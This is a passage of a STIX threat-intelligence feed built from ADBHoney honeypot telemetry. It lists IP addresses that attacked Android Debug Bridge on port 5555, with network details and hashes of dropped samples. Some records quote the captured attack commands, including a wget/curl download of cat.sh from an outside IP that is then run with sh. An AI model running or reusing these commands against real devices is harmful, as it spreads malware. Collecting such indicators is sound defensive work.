          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-25T01:29:44.000Z | last_seen=2026-04-25T01:30:53.951Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--941abb59-c8ce-4fa6-a815-ca964be9c359",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T02:00:03.000Z",
      "valid_until": "2026-05-27T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-25T01:29:44.000Z",
          "last_seen": "2026-04-25T01:30:53.951Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-25T03:34:37.000Z | last_seen=2026-04-25T03:45:59.980Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--2dacaf5d-9bda-4f33-abf7-f9b4076f1d4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T04:00:03.000Z",
      "valid_until": "2026-05-27T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-25T03:34:37.000Z",
          "last_seen": "2026-04-25T03:45:59.980Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-25T05:57:07.000Z | last_seen=2026-04-25T06:08:02.986Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--a15ddb79-8076-4ef1-a466-9566c5c1ed33",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:00:03.000Z",
      "valid_until": "2026-05-27T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-25T05:57:07.000Z",
          "last_seen": "2026-04-25T06:08:02.986Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T07:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=LV; asn=24921; asn_org=Latvijas Mobilais Telefons SIA; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-25T06:39:37.000Z | last_seen=2026-04-25T06:49:49.119Z | ports=5555 | cc=LV | asn=24921 | org=Latvijas Mobilais Telefons SIA",
      "id": "indicator--6a1f74c0-6485-436f-aff5-77f7e008b230",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.89.74.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:00:06.000Z",
      "valid_until": "2026-05-27T07:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-25T06:39:37.000Z",
          "last_seen": "2026-04-25T06:49:49.119Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LV"
          ],
          "asn": [
            "24921"
          ],
          "org": [
            "Latvijas Mobilais Telefons SIA"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=20473; asn_org=The Constant Company, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=28 | first_seen=2026-04-25T07:28:46.000Z | last_seen=2026-04-27T03:42:17.933Z | ports=5555 | cc=US | asn=20473 | org=The Constant Company, LLC",
      "id": "indicator--accce5a9-2f03-4fb5-8071-33c1f455686b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '207.148.2.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T08:00:04.000Z",
      "valid_until": "2026-05-27T08:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 28,
          "first_seen": "2026-04-25T07:28:46.000Z",
          "last_seen": "2026-04-27T03:42:17.933Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "20473"
          ],
          "org": [
            "The Constant Company, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=PT; asn=206092; asn_org=F.n.s. Holdings Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-25T08:45:53.000Z | last_seen=2026-04-25T08:56:02.673Z | ports=5555 | cc=PT | asn=206092 | org=F.n.s. Holdings Limited",
      "id": "indicator--230f3123-026b-45b5-9146-6ff9956d2e48",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.228.3.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T09:00:02.000Z",
      "valid_until": "2026-05-27T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-25T08:45:53.000Z",
          "last_seen": "2026-04-25T08:56:02.673Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "206092"
          ],
          "org": [
            "F.n.s. Holdings Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T11:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=29; ports=5555; cc=FR; asn=12322; asn_org=Free SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=29 | first_seen=2026-04-25T10:09:50.000Z | last_seen=2026-04-25T10:20:25.001Z | ports=5555 | cc=FR | asn=12322 | org=Free SAS",
      "id": "indicator--8f4f91eb-7581-4d10-8bca-2bbd9c720199",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '88.180.78.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T11:00:07.000Z",
      "valid_until": "2026-05-27T11:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 29,
          "first_seen": "2026-04-25T10:09:50.000Z",
          "last_seen": "2026-04-25T10:20:25.001Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "12322"
          ],
          "org": [
            "Free SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T12:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/f11b0ab5feb398b0aa2d4ea7ed47f773ea000e381d50c4cc363b5ba5329f935e.raw; last_seen=2026-04-25T11:13:59.319Z",
      "id": "indicator--41a3820a-0f9b-4f05-b731-5c7a401513d5",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'f11b0ab5feb398b0aa2d4ea7ed47f773ea000e381d50c4cc363b5ba5329f935e']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T14:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-25T13:47:52.000Z | last_seen=2026-04-25T13:57:58.879Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:00:04.000Z",
      "valid_until": "2026-05-27T14:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-25T13:47:52.000Z",
          "last_seen": "2026-04-25T13:57:58.879Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T14:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-25T13:47:18.000Z | last_seen=2026-04-25T13:48:28.521Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--9872d1e1-d9eb-4895-abe6-fac0d3c1bfa5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:00:04.000Z",
      "valid_until": "2026-05-27T14:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-25T13:47:18.000Z",
          "last_seen": "2026-04-25T13:48:28.521Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-25T15:46:41.000Z | last_seen=2026-04-25T15:47:42.670Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--45c8c380-668e-4e49-a300-a4de10101dad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.79.186.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T16:00:10.000Z",
      "valid_until": "2026-05-27T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-25T15:46:41.000Z",
          "last_seen": "2026-04-25T15:47:42.670Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=51; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=57 | first_seen=2026-04-25T18:57:26.000Z | last_seen=2026-04-25T19:09:47.412Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd. | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--b4f32cd3-4d02-4302-9aba-4290fc68be17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.146.148.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:00:03.000Z",
      "valid_until": "2026-05-27T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 57,
          "first_seen": "2026-04-25T18:57:26.000Z",
          "last_seen": "2026-04-25T19:09:47.412Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-25T18:47:08.000Z | last_seen=2026-04-25T18:48:41.267Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--58a49966-7e2d-466b-8e7e-efb8dc06497e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:00:03.000Z",
      "valid_until": "2026-05-27T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-25T18:47:08.000Z",
          "last_seen": "2026-04-25T18:48:41.267Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=214828; asn_org=StarLight Network, Inc.; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; wget http://31.56.144.12/cat.sh -O cat.sh; curl -O http://31.56.144.12/cat.sh; busybox wget http://31.56.144.12/cat.sh -O cat.sh; sh cat.sh\"\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-25T18:45:38.000Z | last_seen=2026-04-25T18:47:32.570Z | ports=5555 | cc=US | asn=214828 | org=StarLight Network, Inc.",
      "id": "indicator--9d4f98fb-11a9-480e-90a4-e846b2325a9d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '31.56.144.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:00:03.000Z",
      "valid_until": "2026-05-27T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-25T18:45:38.000Z",
          "last_seen": "2026-04-25T18:47:32.570Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "214828"
          ],
          "org": [
            "StarLight Network, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=35 | first_seen=2026-04-25T18:42:57.000Z | last_seen=2026-04-25T22:28:59.694Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--138964f9-dd98-428b-b4c3-7be035702ec0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:00:03.000Z",
      "valid_until": "2026-05-27T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 35,
          "first_seen": "2026-04-25T18:42:57.000Z",
          "last_seen": "2026-04-25T22:28:59.694Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T19:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/aeb8f779deac41b017e84095dff6a2b87d414de1b58e39a0864cab312c2e1d22.raw; last_seen=2026-04-25T18:45:42.311Z",
      "id": "indicator--04e24d95-c929-43d9-9ba0-fa044af6b6f8",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'aeb8f779deac41b017e84095dff6a2b87d414de1b58e39a0864cab312c2e1d22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-25T20:00:02.000Z",
